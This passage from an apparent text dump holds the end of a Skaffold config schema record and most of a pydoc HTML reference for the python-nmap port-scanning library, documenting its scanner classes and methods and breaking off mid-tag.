\"[\\\"./test/*\\\"]\"\n ]\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"structureTests\"\n ],\n \"additionalProperties\": false,\n \"description\": \"a list of structure tests to run on images that Skaffold builds.\",\n \"x-intellij-html-description\": \"a list of structure tests to run on images that Skaffold builds.\"\n }\n }\n}\n"} {"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<html><head><title>Python: module nmap</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n</head><body bgcolor=\"#f0f0f8\">\n\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"heading\">\n<tr bgcolor=\"#7799ee\">\n<td valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\">&nbsp;<br><big><big><strong>nmap</strong></big></big> (version 0.6.1)</font></td\n><td align=right valign=bottom\n><font color=\"#ffffff\" face=\"helvetica, arial\"><a href=\".\">index</a><br><a href=\"file:/home/xael/ESPACE_KM/python/python-nmap/nmap/nmap.py\">/home/xael/ESPACE_KM/python/python-nmap/nmap/nmap.py</a></font></td></tr></table>\n <p><tt>nmap.py&nbsp;-&nbsp;version&nbsp;and&nbsp;date,&nbsp;see&nbsp;below<br>\n&nbsp;<br>\nSource&nbsp;code&nbsp;:&nbsp;https://bitbucket.org/xael/python-nmap<br>\n&nbsp;<br>\nAuthor&nbsp;:<br>\n&nbsp;<br>\n*&nbsp;Alexandre&nbsp;Norman&nbsp;-&nbsp;norman&nbsp;at&nbsp;xael.org<br>\n&nbsp;<br>\nContributors:<br>\n&nbsp;<br>\n*&nbsp;Steve&nbsp;'Ashcrow'&nbsp;Milner&nbsp;-&nbsp;steve&nbsp;at&nbsp;gnulinux.net<br>\n*&nbsp;Brian&nbsp;Bustin&nbsp;-&nbsp;brian&nbsp;at&nbsp;bustin.us<br>\n*&nbsp;old.schepperhand<br>\n*&nbsp;Johan&nbsp;Lundberg<br>\n*&nbsp;Thomas&nbsp;D.&nbsp;maaaaz<br>\n*&nbsp;Robert&nbsp;Bost<br>\n*&nbsp;David&nbsp;Peltier<br>\n&nbsp;<br>\nLicence:&nbsp;GPL&nbsp;v3&nbsp;or&nbsp;any&nbsp;later&nbsp;version&nbsp;for&nbsp;python-nmap<br>\n&nbsp;<br>\n&nbsp;<br>\nThis&nbsp;program&nbsp;is&nbsp;free&nbsp;software:&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;modify<br>\nit&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;as&nbsp;published&nbsp;by<br>\nthe&nbsp;Free&nbsp;Software&nbsp;Foundation,&nbsp;either&nbsp;version&nbsp;3&nbsp;of&nbsp;the&nbsp;License,&nbsp;or<br>\nany&nbsp;later&nbsp;version.<br>\n&nbsp;<br>\nThis&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,<br>\nbut&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of<br>\nMERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the<br>\nGNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.<br>\n&nbsp;<br>\nYou&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License<br>\nalong&nbsp;with&nbsp;this&nbsp;program.&nbsp;&nbsp;If&nbsp;not,&nbsp;see&nbsp;&lt;<a href=\"http://www.gnu.org/licenses/\">http://www.gnu.org/licenses/</a>&gt;.<br>\n&nbsp;<br>\n&nbsp;<br>\n**************<br>\nIMPORTANT&nbsp;NOTE<br>\n**************<br>\n&nbsp;<br>\nThe&nbsp;Nmap&nbsp;Security&nbsp;Scanner&nbsp;used&nbsp;by&nbsp;python-nmap&nbsp;is&nbsp;distributed<br>\nunder&nbsp;it's&nbsp;own&nbsp;licence&nbsp;that&nbsp;you&nbsp;can&nbsp;find&nbsp;at&nbsp;https://svn.nmap.org/nmap/COPYING<br>\n&nbsp;<br>\nAny&nbsp;redistribution&nbsp;of&nbsp;python-nmap&nbsp;along&nbsp;with&nbsp;the&nbsp;Nmap&nbsp;Security&nbsp;Scanner<br>\nmust&nbsp;conform&nbsp;to&nbsp;the&nbsp;Nmap&nbsp;Security&nbsp;Scanner&nbsp;licence</tt></p>\n<p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#aa55cc\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\"><big><strong>Modules</strong></big></font></td></tr>\n \n<tr><td bgcolor=\"#aa55cc\"><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tt></td><td>&nbsp;</td>\n<td width=\"100%\"><table width=\"100%\" summary=\"list\"><tr><td width=\"25%\" valign=top><a href=\"xml.etree.ElementTree.html\">xml.etree.ElementTree</a><br>\n<a href=\"csv.html\">csv</a><br>\n</td><td width=\"25%\" valign=top><a href=\"io.html\">io</a><br>\n<a href=\"os.html\">os</a><br>\n</td><td width=\"25%\" valign=top><a href=\"re.html\">re</a><br>\n<a href=\"shlex.html\">shlex</a><br>\n</td><td width=\"25%\" valign=top><a href=\"subprocess.html\">subprocess</a><br>\n<a href=\"sys.html\">sys</a><br>\n</td></tr></table></td></tr></table><p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ee77aa\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\"><big><strong>Classes</strong></big></font></td></tr>\n \n<tr><td bgcolor=\"#ee77aa\"><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tt></td><td>&nbsp;</td>\n<td width=\"100%\"><dl>\n<dt><font face=\"helvetica, arial\"><a href=\"builtins.html#Exception\">builtins.Exception</a>(<a href=\"builtins.html#BaseException\">builtins.BaseException</a>)\n</font></dt><dd>\n<dl>\n<dt><font face=\"helvetica, arial\"><a href=\"nmap.html#PortScannerError\">PortScannerError</a>\n</font></dt></dl>\n</dd>\n<dt><font face=\"helvetica, arial\"><a href=\"builtins.html#dict\">builtins.dict</a>(<a href=\"builtins.html#object\">builtins.object</a>)\n</font></dt><dd>\n<dl>\n<dt><font face=\"helvetica, arial\"><a href=\"nmap.html#PortScannerHostDict\">PortScannerHostDict</a>\n</font></dt></dl>\n</dd>\n<dt><font face=\"helvetica, arial\"><a href=\"builtins.html#object\">builtins.object</a>\n</font></dt><dd>\n<dl>\n<dt><font face=\"helvetica, arial\"><a href=\"nmap.html#PortScanner\">PortScanner</a>\n</font></dt><dt><font face=\"helvetica, arial\"><a href=\"nmap.html#PortScannerAsync\">PortScannerAsync</a>\n</font></dt><dd>\n<dl>\n<dt><font face=\"helvetica, arial\"><a href=\"nmap.html#PortScannerYield\">PortScannerYield</a>\n</font></dt></dl>\n</dd>\n</dl>\n</dd>\n</dl>\n <p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ffc8d8\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#000000\" face=\"helvetica, arial\"><a name=\"PortScanner\">class <strong>PortScanner</strong></a>(<a href=\"builtins.html#object\">builtins.object</a>)</font></td></tr>\n \n<tr bgcolor=\"#ffc8d8\"><td rowspan=2><tt>&nbsp;&nbsp;&nbsp;</tt></td>\n<td colspan=2><tt><a href=\"#PortScanner\">PortScanner</a>&nbsp;class&nbsp;allows&nbsp;to&nbsp;use&nbsp;nmap&nbsp;from&nbsp;python<br>&nbsp;</tt></td></tr>\n<tr><td>&nbsp;</td>\n<td width=\"100%\">Methods defined here:<br>\n<dl><dt><a name=\"PortScanner-__getitem__\"><strong>__getitem__</strong></a>(self, host)</dt><dd><tt>returns&nbsp;a&nbsp;host&nbsp;detail</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-__init__\"><strong>__init__</strong></a>(self, nmap_search_path=('nmap', '/usr/bin/nmap', '/usr/local/bin/nmap', '/sw/bin/nmap', '/opt/local/bin/nmap'))</dt><dd><tt>Initialize&nbsp;<a href=\"#PortScanner\">PortScanner</a>&nbsp;module<br>\n&nbsp;<br>\n*&nbsp;detects&nbsp;nmap&nbsp;on&nbsp;the&nbsp;system&nbsp;and&nbsp;nmap&nbsp;version<br>\n*&nbsp;may&nbsp;raise&nbsp;<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;if&nbsp;nmap&nbsp;is&nbsp;not&nbsp;found&nbsp;in&nbsp;the&nbsp;path<br>\n&nbsp;<br>\n:param&nbsp;nmap_search_path:&nbsp;tupple&nbsp;of&nbsp;string&nbsp;where&nbsp;to&nbsp;search&nbsp;for&nbsp;nmap&nbsp;executable.&nbsp;Change&nbsp;this&nbsp;if&nbsp;you&nbsp;want&nbsp;to&nbsp;use&nbsp;a&nbsp;specific&nbsp;version&nbsp;of&nbsp;nmap.<br>\n:returns:&nbsp;nothing</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-all_hosts\"><strong>all_hosts</strong></a>(self)</dt><dd><tt>returns&nbsp;a&nbsp;sorted&nbsp;list&nbsp;of&nbsp;all&nbsp;hosts</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-analyse_nmap_xml_scan\"><strong>analyse_nmap_xml_scan</strong></a>(self, nmap_xml_output=None, nmap_err='', nmap_err_keep_trace='', nmap_warn_keep_trace='')</dt><dd><tt>Analyses&nbsp;NMAP&nbsp;xml&nbsp;scan&nbsp;ouput<br>\n&nbsp;<br>\nMay&nbsp;raise&nbsp;<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;if&nbsp;nmap&nbsp;output&nbsp;was&nbsp;not&nbsp;xml<br>\n&nbsp;<br>\nTest&nbsp;existance&nbsp;of&nbsp;the&nbsp;following&nbsp;key&nbsp;to&nbsp;know&nbsp;if&nbsp;something&nbsp;went&nbsp;wrong&nbsp;:&nbsp;['nmap']['scaninfo']['error']<br>\nIf&nbsp;not&nbsp;present,&nbsp;everything&nbsp;was&nbsp;ok.<br>\n&nbsp;<br>\n:param&nbsp;nmap_xml_output:&nbsp;xml&nbsp;string&nbsp;to&nbsp;analyse<br>\n:returns:&nbsp;scan_result&nbsp;as&nbsp;dictionnary</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-command_line\"><strong>command_line</strong></a>(self)</dt><dd><tt>returns&nbsp;command&nbsp;line&nbsp;used&nbsp;for&nbsp;the&nbsp;scan<br>\n&nbsp;<br>\nmay&nbsp;raise&nbsp;AssertionError&nbsp;exception&nbsp;if&nbsp;called&nbsp;before&nbsp;scanning</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-csv\"><strong>csv</strong></a>(self)</dt><dd><tt>returns&nbsp;CSV&nbsp;output&nbsp;as&nbsp;text<br>\n&nbsp;<br>\nExample&nbsp;:<br>\nhost;hostname;hostname_type;protocol;port;name;state;product;extrainfo;reason;version;conf;cpe<br>\n127.0.0.1;localhost;PTR;tcp;22;ssh;open;OpenSSH;protocol&nbsp;2.0;syn-ack;5.9p1&nbsp;Debian&nbsp;5ubuntu1;10;cpe<br>\n127.0.0.1;localhost;PTR;tcp;23;telnet;closed;;;conn-refused;;3;<br>\n127.0.0.1;localhost;PTR;tcp;24;priv-mail;closed;;;conn-refused;;3;</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-get_nmap_last_output\"><strong>get_nmap_last_output</strong></a>(self)</dt><dd><tt>Returns&nbsp;the&nbsp;last&nbsp;text&nbsp;output&nbsp;of&nbsp;nmap&nbsp;in&nbsp;raw&nbsp;text<br>\nthis&nbsp;may&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging&nbsp;purpose<br>\n&nbsp;<br>\n:returns:&nbsp;string&nbsp;containing&nbsp;the&nbsp;last&nbsp;text&nbsp;output&nbsp;of&nbsp;nmap&nbsp;in&nbsp;raw&nbsp;text</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-has_host\"><strong>has_host</strong></a>(self, host)</dt><dd><tt>returns&nbsp;True&nbsp;if&nbsp;host&nbsp;has&nbsp;result,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-listscan\"><strong>listscan</strong></a>(self, hosts='127.0.0.1')</dt><dd><tt>do&nbsp;not&nbsp;scan&nbsp;but&nbsp;interpret&nbsp;target&nbsp;hosts&nbsp;and&nbsp;return&nbsp;a&nbsp;list&nbsp;a&nbsp;hosts</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-nmap_version\"><strong>nmap_version</strong></a>(self)</dt><dd><tt>returns&nbsp;nmap&nbsp;version&nbsp;if&nbsp;detected&nbsp;(int&nbsp;version,&nbsp;int&nbsp;subversion)<br>\nor&nbsp;(0,&nbsp;0)&nbsp;if&nbsp;unknown<br>\n:returns:&nbsp;(nmap_version_number,&nbsp;nmap_subversion_number)</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-scan\"><strong>scan</strong></a>(self, hosts='127.0.0.1', ports=None, arguments='-sV', sudo=False)</dt><dd><tt>Scan&nbsp;given&nbsp;hosts<br>\n&nbsp;<br>\nMay&nbsp;raise&nbsp;<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;if&nbsp;nmap&nbsp;output&nbsp;was&nbsp;not&nbsp;xml<br>\n&nbsp;<br>\nTest&nbsp;existance&nbsp;of&nbsp;the&nbsp;following&nbsp;key&nbsp;to&nbsp;know<br>\nif&nbsp;something&nbsp;went&nbsp;wrong&nbsp;:&nbsp;['nmap']['scaninfo']['error']<br>\nIf&nbsp;not&nbsp;present,&nbsp;everything&nbsp;was&nbsp;ok.<br>\n&nbsp;<br>\n:param&nbsp;hosts:&nbsp;string&nbsp;for&nbsp;hosts&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'scanme.nmap.org'&nbsp;or&nbsp;'198.116.0-255.1-127'&nbsp;or&nbsp;'216.163.128.20/20'<br>\n:param&nbsp;ports:&nbsp;string&nbsp;for&nbsp;ports&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'22,53,110,143-4564'<br>\n:param&nbsp;arguments:&nbsp;string&nbsp;of&nbsp;arguments&nbsp;for&nbsp;nmap&nbsp;'-sU&nbsp;-sX&nbsp;-sC'<br>\n:param&nbsp;sudo:&nbsp;launch&nbsp;nmap&nbsp;with&nbsp;sudo&nbsp;if&nbsp;True<br>\n&nbsp;<br>\n:returns:&nbsp;scan_result&nbsp;as&nbsp;dictionnary</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-scaninfo\"><strong>scaninfo</strong></a>(self)</dt><dd><tt>returns&nbsp;scaninfo&nbsp;structure<br>\n{'tcp':&nbsp;{'services':&nbsp;'22',&nbsp;'method':&nbsp;'connect'}}<br>\n&nbsp;<br>\nmay&nbsp;raise&nbsp;AssertionError&nbsp;exception&nbsp;if&nbsp;called&nbsp;before&nbsp;scanning</tt></dd></dl>\n\n<dl><dt><a name=\"PortScanner-scanstats\"><strong>scanstats</strong></a>(self)</dt><dd><tt>returns&nbsp;scanstats&nbsp;structure<br>\n{'uphosts':&nbsp;'3',&nbsp;'timestr':&nbsp;'Thu&nbsp;Jun&nbsp;&nbsp;3&nbsp;21:45:07&nbsp;2010',&nbsp;'downhosts':&nbsp;'253',&nbsp;'totalhosts':&nbsp;'256',&nbsp;'elapsed':&nbsp;'5.79'}<br>\n&nbsp;<br>\nmay&nbsp;raise&nbsp;AssertionError&nbsp;exception&nbsp;if&nbsp;called&nbsp;before&nbsp;scanning</tt></dd></dl>\n\n<hr>\nData descriptors defined here:<br>\n<dl><dt><strong>__dict__</strong></dt>\n<dd><tt>dictionary&nbsp;for&nbsp;instance&nbsp;variables&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<dl><dt><strong>__weakref__</strong></dt>\n<dd><tt>list&nbsp;of&nbsp;weak&nbsp;references&nbsp;to&nbsp;the&nbsp;object&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n</td></tr></table> <p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ffc8d8\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#000000\" face=\"helvetica, arial\"><a name=\"PortScannerAsync\">class <strong>PortScannerAsync</strong></a>(<a href=\"builtins.html#object\">builtins.object</a>)</font></td></tr>\n \n<tr bgcolor=\"#ffc8d8\"><td rowspan=2><tt>&nbsp;&nbsp;&nbsp;</tt></td>\n<td colspan=2><tt><a href=\"#PortScannerAsync\">PortScannerAsync</a>&nbsp;allows&nbsp;to&nbsp;use&nbsp;nmap&nbsp;from&nbsp;python&nbsp;asynchronously<br>\nfor&nbsp;each&nbsp;host&nbsp;scanned,&nbsp;callback&nbsp;is&nbsp;called&nbsp;with&nbsp;scan&nbsp;result&nbsp;for&nbsp;the&nbsp;host<br>&nbsp;</tt></td></tr>\n<tr><td>&nbsp;</td>\n<td width=\"100%\">Methods defined here:<br>\n<dl><dt><a name=\"PortScannerAsync-__del__\"><strong>__del__</strong></a>(self)</dt><dd><tt>Cleanup&nbsp;when&nbsp;deleted</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerAsync-__init__\"><strong>__init__</strong></a>(self)</dt><dd><tt>Initialize&nbsp;the&nbsp;module<br>\n&nbsp;<br>\n*&nbsp;detects&nbsp;nmap&nbsp;on&nbsp;the&nbsp;system&nbsp;and&nbsp;nmap&nbsp;version<br>\n*&nbsp;may&nbsp;raise&nbsp;<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;if&nbsp;nmap&nbsp;is&nbsp;not&nbsp;found&nbsp;in&nbsp;the&nbsp;path</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerAsync-scan\"><strong>scan</strong></a>(self, hosts='127.0.0.1', ports=None, arguments='-sV', callback=None, sudo=False)</dt><dd><tt>Scan&nbsp;given&nbsp;hosts&nbsp;in&nbsp;a&nbsp;separate&nbsp;process&nbsp;and&nbsp;return&nbsp;host&nbsp;by&nbsp;host&nbsp;result&nbsp;using&nbsp;callback&nbsp;function<br>\n&nbsp;<br>\n<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;from&nbsp;standard&nbsp;nmap&nbsp;is&nbsp;catched&nbsp;and&nbsp;you&nbsp;won't&nbsp;know&nbsp;about&nbsp;but&nbsp;get&nbsp;None&nbsp;as&nbsp;scan_data<br>\n&nbsp;<br>\n:param&nbsp;hosts:&nbsp;string&nbsp;for&nbsp;hosts&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'scanme.nmap.org'&nbsp;or&nbsp;'198.116.0-255.1-127'&nbsp;or&nbsp;'216.163.128.20/20'<br>\n:param&nbsp;ports:&nbsp;string&nbsp;for&nbsp;ports&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'22,53,110,143-4564'<br>\n:param&nbsp;arguments:&nbsp;string&nbsp;of&nbsp;arguments&nbsp;for&nbsp;nmap&nbsp;'-sU&nbsp;-sX&nbsp;-sC'<br>\n:param&nbsp;callback:&nbsp;callback&nbsp;function&nbsp;which&nbsp;takes&nbsp;(host,&nbsp;scan_data)&nbsp;as&nbsp;arguments<br>\n:param&nbsp;sudo:&nbsp;launch&nbsp;nmap&nbsp;with&nbsp;sudo&nbsp;if&nbsp;true</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerAsync-still_scanning\"><strong>still_scanning</strong></a>(self)</dt><dd><tt>:returns:&nbsp;True&nbsp;if&nbsp;a&nbsp;scan&nbsp;is&nbsp;currently&nbsp;running,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerAsync-stop\"><strong>stop</strong></a>(self)</dt><dd><tt>Stop&nbsp;the&nbsp;current&nbsp;scan&nbsp;process</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerAsync-wait\"><strong>wait</strong></a>(self, timeout=None)</dt><dd><tt>Wait&nbsp;for&nbsp;the&nbsp;current&nbsp;scan&nbsp;process&nbsp;to&nbsp;finish,&nbsp;or&nbsp;timeout<br>\n&nbsp;<br>\n:param&nbsp;timeout:&nbsp;default&nbsp;=&nbsp;None,&nbsp;wait&nbsp;timeout&nbsp;seconds</tt></dd></dl>\n\n<hr>\nData descriptors defined here:<br>\n<dl><dt><strong>__dict__</strong></dt>\n<dd><tt>dictionary&nbsp;for&nbsp;instance&nbsp;variables&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<dl><dt><strong>__weakref__</strong></dt>\n<dd><tt>list&nbsp;of&nbsp;weak&nbsp;references&nbsp;to&nbsp;the&nbsp;object&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n</td></tr></table> <p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ffc8d8\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#000000\" face=\"helvetica, arial\"><a name=\"PortScannerError\">class <strong>PortScannerError</strong></a>(<a href=\"builtins.html#Exception\">builtins.Exception</a>)</font></td></tr>\n \n<tr bgcolor=\"#ffc8d8\"><td rowspan=2><tt>&nbsp;&nbsp;&nbsp;</tt></td>\n<td colspan=2><tt><a href=\"builtins.html#Exception\">Exception</a>&nbsp;error&nbsp;class&nbsp;for&nbsp;<a href=\"#PortScanner\">PortScanner</a>&nbsp;class<br>&nbsp;</tt></td></tr>\n<tr><td>&nbsp;</td>\n<td width=\"100%\"><dl><dt>Method resolution order:</dt>\n<dd><a href=\"nmap.html#PortScannerError\">PortScannerError</a></dd>\n<dd><a href=\"builtins.html#Exception\">builtins.Exception</a></dd>\n<dd><a href=\"builtins.html#BaseException\">builtins.BaseException</a></dd>\n<dd><a href=\"builtins.html#object\">builtins.object</a></dd>\n</dl>\n<hr>\nMethods defined here:<br>\n<dl><dt><a name=\"PortScannerError-__init__\"><strong>__init__</strong></a>(self, value)</dt></dl>\n\n<dl><dt><a name=\"PortScannerError-__repr__\"><strong>__repr__</strong></a>(self)</dt></dl>\n\n<dl><dt><a name=\"PortScannerError-__str__\"><strong>__str__</strong></a>(self)</dt></dl>\n\n<hr>\nData descriptors defined here:<br>\n<dl><dt><strong>__weakref__</strong></dt>\n<dd><tt>list&nbsp;of&nbsp;weak&nbsp;references&nbsp;to&nbsp;the&nbsp;object&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<hr>\nMethods inherited from <a href=\"builtins.html#Exception\">builtins.Exception</a>:<br>\n<dl><dt><a name=\"PortScannerError-__new__\"><strong>__new__</strong></a>(*args, **kwargs)<font color=\"#909090\"><font face=\"helvetica, arial\"> from <a href=\"builtins.html#type\">builtins.type</a></font></font></dt><dd><tt>Create&nbsp;and&nbsp;return&nbsp;a&nbsp;new&nbsp;<a href=\"builtins.html#object\">object</a>.&nbsp;&nbsp;See&nbsp;help(type)&nbsp;for&nbsp;accurate&nbsp;signature.</tt></dd></dl>\n\n<hr>\nMethods inherited from <a href=\"builtins.html#BaseException\">builtins.BaseException</a>:<br>\n<dl><dt><a name=\"PortScannerError-__delattr__\"><strong>__delattr__</strong></a>(self, name, /)</dt><dd><tt>Implement&nbsp;delattr(self,&nbsp;name).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerError-__getattribute__\"><strong>__getattribute__</strong></a>(self, name, /)</dt><dd><tt>Return&nbsp;getattr(self,&nbsp;name).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerError-__reduce__\"><strong>__reduce__</strong></a>(...)</dt></dl>\n\n<dl><dt><a name=\"PortScannerError-__setattr__\"><strong>__setattr__</strong></a>(self, name, value, /)</dt><dd><tt>Implement&nbsp;setattr(self,&nbsp;name,&nbsp;value).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerError-__setstate__\"><strong>__setstate__</strong></a>(...)</dt></dl>\n\n<dl><dt><a name=\"PortScannerError-with_traceback\"><strong>with_traceback</strong></a>(...)</dt><dd><tt><a href=\"builtins.html#Exception\">Exception</a>.<a href=\"#PortScannerError-with_traceback\">with_traceback</a>(tb)&nbsp;--<br>\nset&nbsp;self.<strong>__traceback__</strong>&nbsp;to&nbsp;tb&nbsp;and&nbsp;return&nbsp;self.</tt></dd></dl>\n\n<hr>\nData descriptors inherited from <a href=\"builtins.html#BaseException\">builtins.BaseException</a>:<br>\n<dl><dt><strong>__cause__</strong></dt>\n<dd><tt>exception&nbsp;cause</tt></dd>\n</dl>\n<dl><dt><strong>__context__</strong></dt>\n<dd><tt>exception&nbsp;context</tt></dd>\n</dl>\n<dl><dt><strong>__dict__</strong></dt>\n</dl>\n<dl><dt><strong>__suppress_context__</strong></dt>\n</dl>\n<dl><dt><strong>__traceback__</strong></dt>\n</dl>\n<dl><dt><strong>args</strong></dt>\n</dl>\n</td></tr></table> <p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ffc8d8\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#000000\" face=\"helvetica, arial\"><a name=\"PortScannerHostDict\">class <strong>PortScannerHostDict</strong></a>(<a href=\"builtins.html#dict\">builtins.dict</a>)</font></td></tr>\n \n<tr bgcolor=\"#ffc8d8\"><td rowspan=2><tt>&nbsp;&nbsp;&nbsp;</tt></td>\n<td colspan=2><tt>Special&nbsp;dictionnary&nbsp;class&nbsp;for&nbsp;storing&nbsp;and&nbsp;accessing&nbsp;host&nbsp;scan&nbsp;result<br>&nbsp;</tt></td></tr>\n<tr><td>&nbsp;</td>\n<td width=\"100%\"><dl><dt>Method resolution order:</dt>\n<dd><a href=\"nmap.html#PortScannerHostDict\">PortScannerHostDict</a></dd>\n<dd><a href=\"builtins.html#dict\">builtins.dict</a></dd>\n<dd><a href=\"builtins.html#object\">builtins.object</a></dd>\n</dl>\n<hr>\nMethods defined here:<br>\n<dl><dt><a name=\"PortScannerHostDict-all_ip\"><strong>all_ip</strong></a>(self)</dt><dd><tt>:returns:&nbsp;list&nbsp;of&nbsp;ip&nbsp;ports</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-all_protocols\"><strong>all_protocols</strong></a>(self)</dt><dd><tt>:returns:&nbsp;a&nbsp;list&nbsp;of&nbsp;all&nbsp;scanned&nbsp;protocols</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-all_sctp\"><strong>all_sctp</strong></a>(self)</dt><dd><tt>:returns:&nbsp;list&nbsp;of&nbsp;sctp&nbsp;ports</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-all_tcp\"><strong>all_tcp</strong></a>(self)</dt><dd><tt>:returns:&nbsp;list&nbsp;of&nbsp;tcp&nbsp;ports</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-all_udp\"><strong>all_udp</strong></a>(self)</dt><dd><tt>:returns:&nbsp;list&nbsp;of&nbsp;udp&nbsp;ports</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-has_ip\"><strong>has_ip</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;ip&nbsp;port<br>\n:returns:&nbsp;True&nbsp;if&nbsp;ip&nbsp;port&nbsp;has&nbsp;info,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-has_sctp\"><strong>has_sctp</strong></a>(self, port)</dt><dd><tt>:returns:&nbsp;True&nbsp;if&nbsp;sctp&nbsp;port&nbsp;has&nbsp;info,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-has_tcp\"><strong>has_tcp</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;tcp&nbsp;port<br>\n:returns:&nbsp;True&nbsp;if&nbsp;tcp&nbsp;port&nbsp;has&nbsp;info,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-has_udp\"><strong>has_udp</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;udp&nbsp;port<br>\n:returns:&nbsp;True&nbsp;if&nbsp;udp&nbsp;port&nbsp;has&nbsp;info,&nbsp;False&nbsp;otherwise</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-hostname\"><strong>hostname</strong></a>(self)</dt><dd><tt>For&nbsp;compatibility&nbsp;purpose...<br>\n:returns:&nbsp;try&nbsp;to&nbsp;return&nbsp;the&nbsp;user&nbsp;record&nbsp;or&nbsp;the&nbsp;first&nbsp;hostname&nbsp;of&nbsp;the&nbsp;list&nbsp;hostnames</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-hostnames\"><strong>hostnames</strong></a>(self)</dt><dd><tt>:returns:&nbsp;list&nbsp;of&nbsp;hostnames</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-ip\"><strong>ip</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;ip&nbsp;port<br>\n:returns:&nbsp;info&nbsp;for&nbsp;ip&nbsp;port</tt></dd></dl>\n\n<dl><dt><a 